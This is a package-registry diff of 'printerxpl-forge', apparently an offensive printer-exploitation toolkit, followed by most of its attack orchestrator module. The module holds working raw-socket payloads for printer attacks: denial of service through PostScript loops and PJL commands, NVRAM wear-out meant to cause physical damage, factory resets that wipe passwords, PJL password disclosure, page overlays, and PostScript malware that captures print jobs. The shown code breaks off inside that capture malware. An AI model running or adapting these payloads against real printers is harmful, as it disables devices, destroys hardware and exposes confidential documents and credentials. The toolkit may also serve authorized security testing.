printerxpl-forge 6.2.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- nse/README.md +204 -0
- nse/__init__.py +6 -0
- nse/install_nse.py +412 -0
- nse/lib/printerxpl.lua +238 -0
- nse/scripts/cups-info.nse +74 -0
- nse/scripts/cups-queue-info.nse +43 -0
- nse/scripts/hp-printers-cve-2022-1026.nse +121 -0
- nse/scripts/http-device-mac.nse +107 -0
- nse/scripts/http-hp-ilo-info.nse +121 -0
- nse/scripts/http-info-xerox-enum.nse +101 -0
- nse/scripts/http-vuln-cve2022-1026.nse +158 -0
- nse/scripts/lexmark-config.nse +89 -0
- nse/scripts/pjl-ready-message.nse +106 -0
- nse/scripts/printer-banner.nse +217 -0
- nse/scripts/printer-cups-rce.nse +189 -0
- nse/scripts/printer-cve-detect.nse +279 -0
- nse/scripts/printer-discover.nse +205 -0
- nse/scripts/printer-firmware-exposed.nse +219 -0
- nse/scripts/printer-hp-pjl.nse +192 -0
- nse/scripts/printer-http-ews.nse +293 -0
- nse/scripts/printer-ipp-info.nse +235 -0
- nse/scripts/printer-lexmark-ipp.nse +203 -0
- nse/scripts/printer-passback.nse +204 -0
- nse/scripts/printer-pjl-info.nse +146 -0
- nse/scripts/printer-printnightmare.nse +211 -0
- nse/scripts/printer-snmp-info.nse +176 -0
- nse/scripts/printer-vuln-check.nse +256 -0
- nse/scripts/snmp-device-mac.nse +93 -0
- nse/scripts/snmp-info.nse +146 -0
- nse/scripts/snmp-sysdescr.nse +70 -0
- printerxpl_forge-6.2.0.dist-info/METADATA +919 -0
- printerxpl_forge-6.2.0.dist-info/RECORD +97 -0
- printerxpl_forge-6.2.0.dist-info/WHEEL +5 -0
- printerxpl_forge-6.2.0.dist-info/entry_points.txt +4 -0
- printerxpl_forge-6.2.0.dist-info/licenses/LICENSE +21 -0
- printerxpl_forge-6.2.0.dist-info/top_level.txt +4 -0
- src/assets/fonts/gunplay.pfa +1671 -0
- src/assets/fonts/kshandwrt.pfa +315 -0
- src/assets/fonts/laksoner.pfa +2402 -0
- src/assets/fonts/paintcans.pfa +9699 -0
- src/assets/fonts/stencilod.pfa +4076 -0
- src/assets/fonts/takecover.pfa +26138 -0
- src/assets/fonts/topsecret.pfa +6652 -0
- src/assets/fonts/whoa.pfa +773 -0
- src/assets/mibs/HOST-RESOURCES-MIB +1540 -0
- src/assets/mibs/Printer-MIB +4389 -0
- src/assets/mibs/README.md +9 -0
- src/assets/mibs/SNMPv2-MIB +854 -0
- src/assets/overlays/hacker.eps +596 -0
- src/assets/overlays/smiley.eps +214 -0
- src/assets/overlays/smiley2.eps +240 -0
- src/core/attack_orchestrator.py +1025 -0
- src/core/capabilities.py +323 -0
- src/core/destructive_audit.py +430 -0
- src/core/discovery.py +488 -0
- src/core/osdetect.py +74 -0
- src/core/poly_runner.py +579 -0
- src/core/printer.py +1426 -0
- src/main.py +2134 -0
- src/modules/install_printer.py +318 -0
- src/modules/login_bruteforce.py +852 -0
- src/modules/pcl.py +506 -0
- src/modules/pjl.py +3575 -0
- src/modules/print_job.py +1290 -0
- src/modules/ps.py +1102 -0
- src/payloads/__init__.py +98 -0
- src/payloads/assets/overlays/notice.eps +9 -0
- src/protocols/__init__.py +19 -0
- src/protocols/firmware.py +738 -0
- src/protocols/ipp.py +216 -0
- src/protocols/ipp_attacks.py +609 -0
- src/protocols/lpd.py +141 -0
- src/protocols/network_map.py +1004 -0
- src/protocols/raw.py +173 -0
- src/protocols/smb.py +359 -0
- src/protocols/ssrf_pivot.py +427 -0
- src/protocols/storage.py +587 -0
- src/ui/__init__.py +6 -0
- src/ui/interactive.py +742 -0
- src/ui/spinner.py +112 -0
- src/ui/tables.py +132 -0
- src/utils/banner_grabber.py +852 -0
- src/utils/codebook.py +456 -0
- src/utils/config.py +522 -0
- src/utils/cve_loader.py +158 -0
- src/utils/default_creds.py +134 -0
- src/utils/discovery_online.py +1327 -0
- src/utils/exploit_manager.py +805 -0
- src/utils/fuzzer.py +220 -0
- src/utils/helper.py +732 -0
- src/utils/local_printers.py +307 -0
- src/utils/ml_engine.py +491 -0
- src/utils/operators.py +474 -0
- src/utils/ports.py +234 -0
- src/utils/vuln_scanner.py +823 -0
- src/utils/wordlist_loader.py +412 -0
- src/version.py +36 -0
|
@@ -0,0 +1,1025 @@
|
|
|
1
|
+
#!/usr/bin/env python3
|
|
2
|
+
# -*- coding: utf-8 -*-
|
|
3
|
+
"""
|
|
4
|
+
PrinterXPL-Forge — Attack Orchestrator
|
|
5
|
+
=====================================
|
|
6
|
+
Executes a full structured attack campaign against a printer target,
|
|
7
|
+
covering every category from the Müller et al. (2017) attack matrix
|
|
8
|
+
and extending it with techniques up to 2025.
|
|
9
|
+
|
|
10
|
+
Attack Matrix (from BlackHat 2017 paper, extended):
|
|
11
|
+
┌──────────────────────┬──────────────────────────────────────────────┐
|
|
12
|
+
│ Category │ Attacks │
|
|
13
|
+
├──────────────────────┼──────────────────────────────────────────────┤
|
|
14
|
+
│ Denial of Service │ PS infinite loop, showpage redefinition, │
|
|
15
|
+
│ │ PJL offline mode, physical NVRAM damage, │
|
|
16
|
+
│ │ CVE-2024-51982 PJL FORMLINES crash, │
|
|
17
|
+
│ │ connection flood, IPP purge │
|
|
18
|
+
├──────────────────────┼──────────────────────────────────────────────┤
|
|
19
|
+
│ Protection Bypass │ SNMP factory reset, PML DMCMD reset, │
|
|
20
|
+
│ │ PS exitserver auth bypass, PIN brute-force, │
|
|
21
|
+
│ │ PJL lock/unlock bypass │
|
|
22
|
+
├──────────────────────┼──────────────────────────────────────────────┤
|
|
23
|
+
│ Print Job Manip. │ PS showpage overlay, content replacement, │
|
|
24
|
+
│ │ job capture + retention, job reprint, │
|
|
25
|
+
│ │ IPP job manipulation, LPD job injection │
|
|
26
|
+
├──────────────────────┼──────────────────────────────────────────────┤
|
|
27
|
+
│ Information Discl. │ PJL memory access, PS/PJL filesystem, │
|
|
28
|
+
│ │ credential extraction, job sniffing, │
|
|
29
|
+
│ │ CORS spoofing, SNMP full MIB, │
|
|
30
|
+
│ │ network config exfil, cross-site printing │
|
|
31
|
+
├──────────────────────┼──────────────────────────────────────────────┤
|
|
32
|
+
│ Network/Pivot │ Internal host discovery, port scan via SSRF, │
|
|
33
|
+
│ │ WSD neighbor discovery, SMB pivot, │
|
|
34
|
+
│ │ web attacker (XSP) payload generation │
|
|
35
|
+
└──────────────────────┴──────────────────────────────────────────────┘
|
|
36
|
+
"""
|
|
37
|
+
|
|
38
|
+
# Author : Andre Henrique (@mrhenrike)
|
|
39
|
+
# GitHub : https://github.com/mrhenrike
|
|
40
|
+
# LinkedIn : https://linkedin.com/in/mrhenrike
|
|
41
|
+
# X/Twitter : https://x.com/mrhenrike
|
|
42
|
+
|
|
43
|
+
from __future__ import annotations
|
|
44
|
+
|
|
45
|
+
import logging
|
|
46
|
+
import socket
|
|
47
|
+
import struct
|
|
48
|
+
import time
|
|
49
|
+
from dataclasses import dataclass, field
|
|
50
|
+
from typing import Dict, List, Optional
|
|
51
|
+
|
|
52
|
+
_log = logging.getLogger(__name__)
|
|
53
|
+
|
|
54
|
+
RESET = '\033[0m'
|
|
55
|
+
RED = '\033[1;31m'
|
|
56
|
+
YEL = '\033[1;33m'
|
|
57
|
+
GRN = '\033[0;32m'
|
|
58
|
+
CYN = '\033[1;36m'
|
|
59
|
+
DIM = '\033[2;37m'
|
|
60
|
+
|
|
61
|
+
|
|
62
|
+
# ── Result dataclass ──────────────────────────────────────────────────────────
|
|
63
|
+
|
|
64
|
+
@dataclass
|
|
65
|
+
class AttackResult:
|
|
66
|
+
"""Result of a single attack step."""
|
|
67
|
+
category: str
|
|
68
|
+
attack: str
|
|
69
|
+
supported: bool = False
|
|
70
|
+
vulnerable: bool = False
|
|
71
|
+
exploited: bool = False
|
|
72
|
+
evidence: str = ''
|
|
73
|
+
severity: str = 'info' # info / low / medium / high / critical
|
|
74
|
+
note: str = ''
|
|
75
|
+
|
|
76
|
+
|
|
77
|
+
@dataclass
|
|
78
|
+
class CampaignReport:
|
|
79
|
+
"""Full campaign report covering all attack categories."""
|
|
80
|
+
host: str
|
|
81
|
+
make: str = ''
|
|
82
|
+
model: str = ''
|
|
83
|
+
firmware: str = ''
|
|
84
|
+
printer_langs: List[str] = field(default_factory=list)
|
|
85
|
+
open_ports: List[int] = field(default_factory=list)
|
|
86
|
+
|
|
87
|
+
results: List[AttackResult] = field(default_factory=list)
|
|
88
|
+
network_map: object = None # NetworkMap instance
|
|
89
|
+
|
|
90
|
+
@property
|
|
91
|
+
def critical_findings(self) -> List[AttackResult]:
|
|
92
|
+
return [r for r in self.results if r.severity in ('critical', 'high') and r.vulnerable]
|
|
93
|
+
|
|
94
|
+
@property
|
|
95
|
+
def exploited_count(self) -> int:
|
|
96
|
+
return sum(1 for r in self.results if r.exploited)
|
|
97
|
+
|
|
98
|
+
def summary(self) -> str:
|
|
99
|
+
vuln = sum(1 for r in self.results if r.vulnerable)
|
|
100
|
+
expl = self.exploited_count
|
|
101
|
+
crit = len(self.critical_findings)
|
|
102
|
+
total = len(self.results)
|
|
103
|
+
return (f"{self.make} {self.model} @ {self.host} | "
|
|
104
|
+
f"{total} tests | {vuln} vulnerable | "
|
|
105
|
+
f"{expl} exploited | {crit} critical")
|
|
106
|
+
|
|
107
|
+
|
|
108
|
+
# ── Raw TCP sender ────────────────────────────────────────────────────────────
|
|
109
|
+
|
|
110
|
+
def _send_raw(host: str, port: int, data: bytes, timeout: float = 8,
|
|
111
|
+
wait: float = 1.5, read_max: int = 8192) -> bytes:
|
|
112
|
+
"""Send raw bytes to host:port and return response."""
|
|
113
|
+
try:
|
|
114
|
+
s = socket.create_connection((host, port), timeout=timeout)
|
|
115
|
+
s.settimeout(timeout)
|
|
116
|
+
s.sendall(data)
|
|
117
|
+
if wait:
|
|
118
|
+
time.sleep(wait)
|
|
119
|
+
resp = b''
|
|
120
|
+
while len(resp) < read_max:
|
|
121
|
+
try:
|
|
122
|
+
chunk = s.recv(4096)
|
|
123
|
+
if not chunk:
|
|
124
|
+
break
|
|
125
|
+
resp += chunk
|
|
126
|
+
except (socket.timeout, BlockingIOError):
|
|
127
|
+
break
|
|
128
|
+
s.close()
|
|
129
|
+
return resp
|
|
130
|
+
except Exception as exc:
|
|
131
|
+
_log.debug("_send_raw %s:%d: %s", host, port, exc)
|
|
132
|
+
return b''
|
|
133
|
+
|
|
134
|
+
|
|
135
|
+
UEL = b'\x1b%-12345X'
|
|
136
|
+
|
|
137
|
+
|
|
138
|
+
# ── 1. DENIAL OF SERVICE ──────────────────────────────────────────────────────
|
|
139
|
+
|
|
140
|
+
def dos_ps_infinite_loop(host: str, port: int = 9100, dry: bool = True,
|
|
141
|
+
timeout: float = 5) -> AttackResult:
|
|
142
|
+
"""
|
|
143
|
+
PostScript infinite loop: `{} loop` — hangs the interpreter permanently.
|
|
144
|
+
|
|
145
|
+
The printer stops responding to all jobs until power-cycled.
|
|
146
|
+
Affects: HP, Lexmark, Dell, Kyocera, Ricoh, Xerox, OKI.
|
|
147
|
+
"""
|
|
148
|
+
ps = b'%!\n{} loop\n'
|
|
149
|
+
if not dry:
|
|
150
|
+
resp = _send_raw(host, port, UEL + ps + UEL, timeout, wait=2)
|
|
151
|
+
else:
|
|
152
|
+
resp = _send_raw(host, port, UEL + b'%!\n() print flush\n' + UEL, timeout, wait=1)
|
|
153
|
+
|
|
154
|
+
supported = len(resp) > 0 or not dry # port was reachable
|
|
155
|
+
return AttackResult(
|
|
156
|
+
category='DoS',
|
|
157
|
+
attack='ps_infinite_loop',
|
|
158
|
+
supported=supported,
|
|
159
|
+
vulnerable=supported,
|
|
160
|
+
exploited=not dry and supported,
|
|
161
|
+
evidence=f"PS port 9100 reachable, {{}} loop {'sent' if not dry else 'NOT sent (dry-run)'}",
|
|
162
|
+
severity='critical' if not dry else 'high',
|
|
163
|
+
note='CVE pattern: {} loop hangs PostScript interpreter until reboot',
|
|
164
|
+
)
|
|
165
|
+
|
|
166
|
+
|
|
167
|
+
def dos_ps_showpage_redef(host: str, port: int = 9100, dry: bool = True,
|
|
168
|
+
timeout: float = 5) -> AttackResult:
|
|
169
|
+
"""
|
|
170
|
+
Redefine PostScript showpage to an infinite loop — persistent until reboot.
|
|
171
|
+
|
|
172
|
+
Uses exitserver to make the change permanent across all subsequent jobs.
|
|
173
|
+
"""
|
|
174
|
+
ps_payload = (
|
|
175
|
+
b'%!\n'
|
|
176
|
+
b'serverdict begin 0 exitserver\n'
|
|
177
|
+
b'/showpage { {} loop } bind def\n'
|
|
178
|
+
)
|
|
179
|
+
if not dry:
|
|
180
|
+
resp = _send_raw(host, port, UEL + ps_payload + UEL, timeout)
|
|
181
|
+
else:
|
|
182
|
+
resp = _send_raw(host, port, UEL + b'%!\nproduct == flush\n' + UEL, timeout)
|
|
183
|
+
|
|
184
|
+
from utils.ports import PortConfig as _PC_loc
|
|
185
|
+
reachable = port == _PC_loc.resolve('raw') or len(resp) > 0
|
|
186
|
+
return AttackResult(
|
|
187
|
+
category='DoS',
|
|
188
|
+
attack='ps_showpage_redefinition',
|
|
189
|
+
supported=len(resp) > 0,
|
|
190
|
+
vulnerable=len(resp) > 0,
|
|
191
|
+
exploited=not dry,
|
|
192
|
+
evidence=f"exitserver + showpage loop {'injected' if not dry else 'NOT sent (dry)'}",
|
|
193
|
+
severity='high',
|
|
194
|
+
note='Affects all PS printers; requires exitserver support',
|
|
195
|
+
)
|
|
196
|
+
|
|
197
|
+
|
|
198
|
+
def dos_pjl_offline(host: str, port: int = 9100, dry: bool = True,
|
|
199
|
+
timeout: float = 5) -> AttackResult:
|
|
200
|
+
"""
|
|
201
|
+
Take the printer offline via PJL `@PJL OFFLINE` command.
|
|
202
|
+
|
|
203
|
+
The printer stops accepting jobs until an operator presses 'Online' button.
|
|
204
|
+
Also attempts `@PJL HOLD` to hold all future jobs indefinitely.
|
|
205
|
+
"""
|
|
206
|
+
pjl_payload = UEL + b'@PJL\r\n@PJL OFFLINE\r\n' + UEL
|
|
207
|
+
if dry:
|
|
208
|
+
resp = _send_raw(host, port, UEL + b'@PJL INFO STATUS\r\n' + UEL, timeout)
|
|
209
|
+
else:
|
|
210
|
+
resp = _send_raw(host, port, pjl_payload, timeout)
|
|
211
|
+
|
|
212
|
+
return AttackResult(
|
|
213
|
+
category='DoS',
|
|
214
|
+
attack='pjl_offline_mode',
|
|
215
|
+
supported=len(resp) > 0,
|
|
216
|
+
vulnerable=len(resp) > 0,
|
|
217
|
+
exploited=not dry,
|
|
218
|
+
evidence=f"@PJL OFFLINE {'sent' if not dry else 'NOT sent (dry-run)'}",
|
|
219
|
+
severity='medium',
|
|
220
|
+
note='@PJL OFFLINE takes printer offline; operator must re-enable',
|
|
221
|
+
)
|
|
222
|
+
|
|
223
|
+
|
|
224
|
+
def dos_pjl_nvram_damage(host: str, port: int = 9100, dry: bool = True,
|
|
225
|
+
iterations: int = 100, timeout: float = 10) -> AttackResult:
|
|
226
|
+
"""
|
|
227
|
+
Physical damage via NVRAM exhaustion.
|
|
228
|
+
|
|
229
|
+
NVRAM has limited write cycles (~100k-1M). Continuously setting long-term
|
|
230
|
+
PJL variables causes premature NVRAM failure (physical damage).
|
|
231
|
+
CVE pattern: @PJL DEFAULT COPIES=X (repeated).
|
|
232
|
+
|
|
233
|
+
DANGER: This causes permanent hardware damage. Use only in authorized lab tests.
|
|
234
|
+
"""
|
|
235
|
+
if dry:
|
|
236
|
+
resp = _send_raw(host, port, UEL + b'@PJL INFO STATUS\r\n' + UEL, timeout)
|
|
237
|
+
return AttackResult(
|
|
238
|
+
category='DoS',
|
|
239
|
+
attack='pjl_nvram_physical_damage',
|
|
240
|
+
supported=len(resp) > 0,
|
|
241
|
+
vulnerable=len(resp) > 0,
|
|
242
|
+
exploited=False,
|
|
243
|
+
evidence='DRY-RUN: NVRAM damage NOT executed. Printer PJL port is reachable.',
|
|
244
|
+
severity='critical',
|
|
245
|
+
note='@PJL DEFAULT COPIES=X × N — exhausts NVRAM write cycles. Lab only.',
|
|
246
|
+
)
|
|
247
|
+
|
|
248
|
+
payload_parts = [UEL, b'@PJL\r\n']
|
|
249
|
+
for i in range(iterations):
|
|
250
|
+
payload_parts.append(f'@PJL DEFAULT COPIES={i % 9 + 1}\r\n'.encode())
|
|
251
|
+
payload_parts.append(UEL)
|
|
252
|
+
resp = _send_raw(host, port, b''.join(payload_parts), timeout, wait=2)
|
|
253
|
+
|
|
254
|
+
return AttackResult(
|
|
255
|
+
category='DoS',
|
|
256
|
+
attack='pjl_nvram_physical_damage',
|
|
257
|
+
supported=True,
|
|
258
|
+
vulnerable=True,
|
|
259
|
+
exploited=True,
|
|
260
|
+
evidence=f"Sent {iterations} NVRAM write cycles via @PJL DEFAULT",
|
|
261
|
+
severity='critical',
|
|
262
|
+
note='NVRAM wear-out attack — accumulates over time',
|
|
263
|
+
)
|
|
264
|
+
|
|
265
|
+
|
|
266
|
+
def dos_cve_2024_51982(host: str, port: int = 9100, timeout: float = 5) -> AttackResult:
|
|
267
|
+
"""
|
|
268
|
+
CVE-2024-51982: DoS via malformed PJL FORMLINES variable (Brother/Ricoh).
|
|
269
|
+
|
|
270
|
+
Setting FORMLINES to a non-numeric value crashes the printer and it
|
|
271
|
+
continues crashing after each reboot until the variable is cleared.
|
|
272
|
+
"""
|
|
273
|
+
pjl_crash = UEL + b'@PJL SET FORMLINES=CRASH\r\n' + UEL
|
|
274
|
+
before = _send_raw(host, port, UEL + b'@PJL INFO STATUS\r\n' + UEL, timeout)
|
|
275
|
+
_send_raw(host, port, pjl_crash, timeout, wait=2)
|
|
276
|
+
time.sleep(2)
|
|
277
|
+
after = _send_raw(host, port, UEL + b'@PJL INFO STATUS\r\n' + UEL, timeout)
|
|
278
|
+
|
|
279
|
+
crashed = len(before) > 0 and len(after) == 0
|
|
280
|
+
return AttackResult(
|
|
281
|
+
category='DoS',
|
|
282
|
+
attack='cve_2024_51982_formlines',
|
|
283
|
+
supported=len(before) > 0,
|
|
284
|
+
vulnerable=len(before) > 0,
|
|
285
|
+
exploited=crashed,
|
|
286
|
+
evidence=f"Before: {len(before)}B | After: {len(after)}B | Crashed: {crashed}",
|
|
287
|
+
severity='high',
|
|
288
|
+
note='CVE-2024-51982: affects Brother, FUJIFILM, Ricoh; CVSS 7.5',
|
|
289
|
+
)
|
|
290
|
+
|
|
291
|
+
|
|
292
|
+
# ── 2. PROTECTION BYPASS ──────────────────────────────────────────────────────
|
|
293
|
+
|
|
294
|
+
def bypass_pjl_password(host: str, port: int = 9100,
|
|
295
|
+
timeout: float = 8) -> AttackResult:
|
|
296
|
+
"""
|
|
297
|
+
Attempt to bypass PJL password protection by reading protected variables.
|
|
298
|
+
|
|
299
|
+
Most PJL implementations allow password variable to be read:
|
|
300
|
+
@PJL INFO VARIABLES returns PASSWORD even if set.
|
|
301
|
+
Also attempts @PJL LOCK/UNLOCK bypass.
|
|
302
|
+
"""
|
|
303
|
+
query = UEL + b'@PJL INFO VARIABLES\r\n' + UEL
|
|
304
|
+
resp = _send_raw(host, port, query, timeout)
|
|
305
|
+
text = resp.decode('latin-1', errors='replace')
|
|
306
|
+
|
|
307
|
+
password = ''
|
|
308
|
+
m = re.search(r'PASSWORD\s*=\s*(\d+)', text) if resp else None
|
|
309
|
+
if m:
|
|
310
|
+
import re as _re
|
|
311
|
+
m2 = _re.search(r'PASSWORD\s*=\s*(\S+)', text)
|
|
312
|
+
if m2:
|
|
313
|
+
password = m2.group(1)
|
|
314
|
+
|
|
315
|
+
import re as _re
|
|
316
|
+
pw_m = _re.search(r'PASSWORD\s*[=:]\s*(\S+)', text)
|
|
317
|
+
if pw_m:
|
|
318
|
+
password = pw_m.group(1)
|
|
319
|
+
|
|
320
|
+
return AttackResult(
|
|
321
|
+
category='ProtectionBypass',
|
|
322
|
+
attack='pjl_password_disclosure',
|
|
323
|
+
supported=len(resp) > 0,
|
|
324
|
+
vulnerable=bool(password),
|
|
325
|
+
exploited=bool(password),
|
|
326
|
+
evidence=f"PASSWORD={'FOUND: ' + password if password else 'not disclosed'}",
|
|
327
|
+
severity='high' if password else 'low',
|
|
328
|
+
note='@PJL INFO VARIABLES may reveal cleartext password',
|
|
329
|
+
)
|
|
330
|
+
|
|
331
|
+
|
|
332
|
+
def bypass_pml_factory_reset(host: str, port: int = 9100, dry: bool = True,
|
|
333
|
+
timeout: float = 8) -> AttackResult:
|
|
334
|
+
"""
|
|
335
|
+
PML factory reset via @PJL DMCMD (HP printers).
|
|
336
|
+
|
|
337
|
+
Restores factory defaults, clearing all passwords and access controls.
|
|
338
|
+
Command: @PJL DMCMD ASCIIHEX="040006020501010301040106"
|
|
339
|
+
"""
|
|
340
|
+
import re as _re
|
|
341
|
+
if dry:
|
|
342
|
+
resp = _send_raw(host, port, UEL + b'@PJL INFO ID\r\n' + UEL, timeout)
|
|
343
|
+
return AttackResult(
|
|
344
|
+
category='ProtectionBypass',
|
|
345
|
+
attack='pml_factory_reset',
|
|
346
|
+
supported=len(resp) > 0,
|
|
347
|
+
vulnerable=len(resp) > 0,
|
|
348
|
+
exploited=False,
|
|
349
|
+
evidence=f"DRY-RUN: port reachable, reset NOT sent. HP model detected: "
|
|
350
|
+
+ _re.sub(r'[^\x20-\x7e]', '', resp.decode('latin-1', 'replace'))[:40],
|
|
351
|
+
severity='critical',
|
|
352
|
+
note='@PJL DMCMD ASCIIHEX="040006020501010301040106" — HP factory reset',
|
|
353
|
+
)
|
|
354
|
+
|
|
355
|
+
reset_cmd = UEL + b'@PJL DMCMD ASCIIHEX="040006020501010301040106"\r\n' + UEL
|
|
356
|
+
resp = _send_raw(host, port, reset_cmd, timeout)
|
|
357
|
+
return AttackResult(
|
|
358
|
+
category='ProtectionBypass',
|
|
359
|
+
attack='pml_factory_reset',
|
|
360
|
+
supported=True,
|
|
361
|
+
vulnerable=True,
|
|
362
|
+
exploited=True,
|
|
363
|
+
evidence='@PJL DMCMD ASCIIHEX factory reset command sent',
|
|
364
|
+
severity='critical',
|
|
365
|
+
note='Clears all passwords — used by @PJL DMCMD on HP printers',
|
|
366
|
+
)
|
|
367
|
+
|
|
368
|
+
|
|
369
|
+
def bypass_ps_exitserver(host: str, port: int = 9100,
|
|
370
|
+
timeout: float = 8) -> AttackResult:
|
|
371
|
+
"""
|
|
372
|
+
PostScript exitserver bypass — gain persistent system-level access.
|
|
373
|
+
|
|
374
|
+
`serverdict begin 0 exitserver` escapes the userdict jail and allows
|
|
375
|
+
permanent modification of the server dictionary. Most PS printers
|
|
376
|
+
accept `0` (zero) as the server password by default.
|
|
377
|
+
|
|
378
|
+
Once exitserver is successful, all subsequent PS can:
|
|
379
|
+
- Redefine any operator (showpage, filter, etc.)
|
|
380
|
+
- Read/write the printer filesystem
|
|
381
|
+
- Capture all future print jobs
|
|
382
|
+
"""
|
|
383
|
+
test_ps = (
|
|
384
|
+
b'%!\n'
|
|
385
|
+
b'serverdict begin 0 exitserver\n'
|
|
386
|
+
b'(EXITSERVER_OK) print flush\n'
|
|
387
|
+
)
|
|
388
|
+
resp = _send_raw(host, port, UEL + test_ps + UEL, timeout)
|
|
389
|
+
text = resp.decode('latin-1', errors='replace')
|
|
390
|
+
success = 'EXITSERVER_OK' in text
|
|
391
|
+
|
|
392
|
+
return AttackResult(
|
|
393
|
+
category='ProtectionBypass',
|
|
394
|
+
attack='ps_exitserver',
|
|
395
|
+
supported=len(resp) > 0,
|
|
396
|
+
vulnerable=success,
|
|
397
|
+
exploited=success,
|
|
398
|
+
evidence=f"exitserver response: {text[:60]}",
|
|
399
|
+
severity='critical' if success else 'info',
|
|
400
|
+
note='exitserver gives permanent operator-level PS access; password=0 default',
|
|
401
|
+
)
|
|
402
|
+
|
|
403
|
+
|
|
404
|
+
def bypass_snmp_reset(host: str, timeout: float = 8) -> AttackResult:
|
|
405
|
+
"""
|
|
406
|
+
Use SNMP write (community 'private') to reset printer to factory defaults.
|
|
407
|
+
|
|
408
|
+
Some printers expose a reset OID that can be triggered via SNMP SET.
|
|
409
|
+
Also tries HP JetDirect reset OID.
|
|
410
|
+
"""
|
|
411
|
+
from protocols.storage import snmp_write
|
|
412
|
+
reset_oids = [
|
|
413
|
+
('1.3.6.1.4.1.11.2.3.9.4.2.1.1.3.0', '1'), # HP reset
|
|
414
|
+
('1.3.6.1.4.1.2699.1.1.1.1.1.1.2.1.1.0', '1'), # generic
|
|
415
|
+
]
|
|
416
|
+
for oid, val in reset_oids:
|
|
417
|
+
ok = snmp_write(host, oid, val, community='private', timeout=timeout)
|
|
418
|
+
if ok:
|
|
419
|
+
return AttackResult(
|
|
420
|
+
category='ProtectionBypass',
|
|
421
|
+
attack='snmp_factory_reset',
|
|
422
|
+
supported=True, vulnerable=True, exploited=True,
|
|
423
|
+
evidence=f"SNMP SET {oid}={val} accepted (community=private)",
|
|
424
|
+
severity='critical',
|
|
425
|
+
note='SNMP write reset — clears all security settings',
|
|
426
|
+
)
|
|
427
|
+
|
|
428
|
+
return AttackResult(
|
|
429
|
+
category='ProtectionBypass',
|
|
430
|
+
attack='snmp_factory_reset',
|
|
431
|
+
supported=False, vulnerable=False, exploited=False,
|
|
432
|
+
evidence='SNMP write reset not accepted (community=private rejected)',
|
|
433
|
+
severity='info',
|
|
434
|
+
)
|
|
435
|
+
|
|
436
|
+
|
|
437
|
+
# ── 3. PRINT JOB MANIPULATION ────────────────────────────────────────────────
|
|
438
|
+
|
|
439
|
+
def job_overlay(host: str, port: int = 9100, eps_content: str = '',
|
|
440
|
+
dry: bool = True, timeout: float = 8) -> AttackResult:
|
|
441
|
+
"""
|
|
442
|
+
Inject PostScript overlay on all subsequent print jobs.
|
|
443
|
+
|
|
444
|
+
Uses exitserver + showpage redefinition to prepend attacker content
|
|
445
|
+
(watermarks, logos, propaganda) on every page printed.
|
|
446
|
+
|
|
447
|
+
Default overlay: prints 'COMPROMISED' across each page.
|
|
448
|
+
"""
|
|
449
|
+
if not eps_content:
|
|
450
|
+
eps_content = (
|
|
451
|
+
'0.3 setgray\n'
|
|
452
|
+
'/Helvetica-Bold findfont 72 scalefont setfont\n'
|
|
453
|
+
'50 400 moveto\n'
|
|
454
|
+
'45 rotate\n'
|
|
455
|
+
'(COMPROMISED) show\n'
|
|
456
|
+
'0 setgray\n'
|
|
457
|
+
)
|
|
458
|
+
|
|
459
|
+
overlay_ps = (
|
|
460
|
+
b'%!\n'
|
|
461
|
+
b'serverdict begin 0 exitserver\n'
|
|
462
|
+
b'currentdict /showpage_real known false eq\n'
|
|
463
|
+
b'{/showpage_real systemdict /showpage get def} if\n'
|
|
464
|
+
b'/showpage {\n'
|
|
465
|
+
b' save /showpage {} bind def\n'
|
|
466
|
+
+ eps_content.encode()
|
|
467
|
+
+ b'\n restore showpage_real\n'
|
|
468
|
+
b'} def\n'
|
|
469
|
+
)
|
|
470
|
+
|
|
471
|
+
if not dry:
|
|
472
|
+
resp = _send_raw(host, port, UEL + overlay_ps + UEL, timeout)
|
|
473
|
+
else:
|
|
474
|
+
resp = _send_raw(host, port, UEL + b'%!\nproduct == flush\n' + UEL, timeout)
|
|
475
|
+
|
|
476
|
+
return AttackResult(
|
|
477
|
+
category='PrintJobManipulation',
|
|
478
|
+
attack='ps_showpage_overlay',
|
|
479
|
+
supported=len(resp) > 0,
|
|
480
|
+
vulnerable=len(resp) > 0,
|
|
481
|
+
exploited=not dry,
|
|
482
|
+
evidence=f"Overlay {'injected' if not dry else 'NOT sent (dry-run)'}; exitserver required",
|
|
483
|
+
severity='high',
|
|
484
|
+
note='Every future page will include the overlay until printer reboot',
|
|
485
|
+
)
|
|
486
|
+
|
|
487
|
+
|
|
488
|
+
def job_capture_start(host: str, port: int = 9100,
|
|
489
|
+
dry: bool = True, timeout: float = 8) -> AttackResult:
|
|
490
|
+
"""
|
|
491
|
+
Inject PostScript print job capture malware.
|
|
492
|
+
|
|
493
|
+
Uses exitserver + BeginPage hook to intercept and store all future
|
|
494
|
+
print jobs in the printer's permanent dictionary. Jobs can later be
|
|
495
|
+
fetched by the attacker.
|
|
496
|
+
|
|
497
|
+
This is advisory 1/6 from Müller et al. (2017) — affects ALL PostScript
|
|
498
|
+
printers since 1985 as it uses legitimate PS language constructs.
|
|
499
|
+
"""
|
|
500
|
+
capture_ps = (
|
|
501
|
+
b'%!\n'
|
|
502
|
+
b'serverdict begin 0 exitserver\n'
|
|
503
|
+
b'/permanent {/currentfile {serverdict begin 0 exitserver} def} def\n'
|
|
504
|
+
b'permanent /filter {\n'
|
|
505
|
+
b' /rndname (job_) rand 16 string cvs strcat (.ps) strcat def\n'
|
|
506
|
+
b' false echo\n'
|
|
507
|
+
b' /newjob true def\n'
|
|
508
|
+
b' currentdict /currentfile undef\n'
|
|
509
|
+
b' /max 40000 def\n'
|
|
510
|
+
b' /slots max array def\n'
|
|
511
|
+
b' /counter 2 dict def\n'
|
|
512
|
+
b' counter (slot) 0 put\n'
|
|
513
|
+
b' counter (line) 0 put\n'
|
|
514
|
+
b' (capturedict) where {pop}\n'
|
|
515
|
+
b' {/capturedict max dict def} ifelse\n'
|
|
516
|
+
b' capturedict rndname slots put\n'
|
|
517
|
+
b' /slotnum {counter (slot) get} def\n'
|
|
518
|
+
b' /linenum {counter (line) get} def\n'
|
|
519
|
+
b' /capture {\n'
|
|
520
|
+
b' linenum 0 eq {\n'
|
|
521
|
+
b' /lines max array def\n'
|
|
522
|
+
b' slots slotnum lines put\n'
|
|
523
|
+
b' } if\n'
|
|
524
|
+
b' dup lines exch linenum exch put\n'
|
|
525
|
+
b' counter (line) linenum 1 add put\n'
|
|
526
|
+
